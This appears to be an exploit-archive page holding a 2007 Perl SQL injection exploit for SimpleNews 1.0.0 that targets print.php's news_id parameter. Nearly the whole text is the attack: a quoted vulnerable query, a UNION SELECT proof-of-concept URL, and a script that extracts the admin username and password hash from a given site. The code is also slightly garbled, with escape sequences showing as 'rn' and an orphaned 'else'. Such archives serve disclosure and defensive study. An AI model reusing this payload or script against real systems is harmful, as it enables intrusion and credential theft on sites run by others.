[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SimpleNews <= 1.0.0 FINAL (print.php news_id) SQL Injection Exploit
# Published : 2007-05-09
# Author : Silentz
# Previous Title : telltarget <= 1.3.3 (tt_docroot) Remote File Inclusion Vulnerabilities
# Next Title : TutorialCMS <= 1.00 (search.php search) SQL Injection Exploit
#!/usr/bin/perl -w
#################################################################################
# #
# SimpleNews <= 1.0.0 FINAL SQL Injection Exploit #
# #
# Discovered by: Silentz #
# Payload: Admin Username & Hash Retrieval #
# Website: http://www.w4ck1ng.com #
# #
# Vulnerable Code (print.php): #
# #
# $news_id = $_GET['news_id']; #
# $query = "SELECT * FROM simplenews_articles WHERE news_id = '$news_id'"; #
# #
# PoC: http://victim.com/print.php?news_id=-999' UNION SELECT 0,username, #
# password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /* #
# #
# Subject To: magic_quotes_gpc set to off #
# GoogleDork: Get your own! #
# #
# Shoutz: The entire w4ck1ng community #
# #
#################################################################################
use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------rn";
print " SimpleNews <= 1.0.0 FINAL SQL Injection Exploitrn";
print "-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_simplenews.pl [PATH]rnrn";
print "[PATH] = Path where SimpleNews is locatedrnrn";
print "e.g. w4ck1ng_simplenews.pl http://victim.com/simplenews/rn";
print "-------------------------------------------------------------------------rn";
print " http://www.w4ck1ng.comrn";
print " ...Silentzrn";
print "-------------------------------------------------------------------------rn";
exit();
}
$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "print.php?news_id=-999' UNION SELECT 0,username,password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /([0-9a-fA-F]{32})/;
print "-------------------------------------------------------------------------rn";
print " SimpleNews <= 1.0.0 FINAL SQL Injection Exploitrn";
print "-------------------------------------------------------------------------rn";
print "[+] Admin User = ".$res->title, "rn";
print "[+] Admin Hash = $1rn";
print "-------------------------------------------------------------------------rn";
print " http://www.w4ck1ng.comrn";
print " ...Silentzrn";
print "-------------------------------------------------------------------------rn";
else {print "nExploit Failed...n";}
# www.Syue.com [2007-05-09]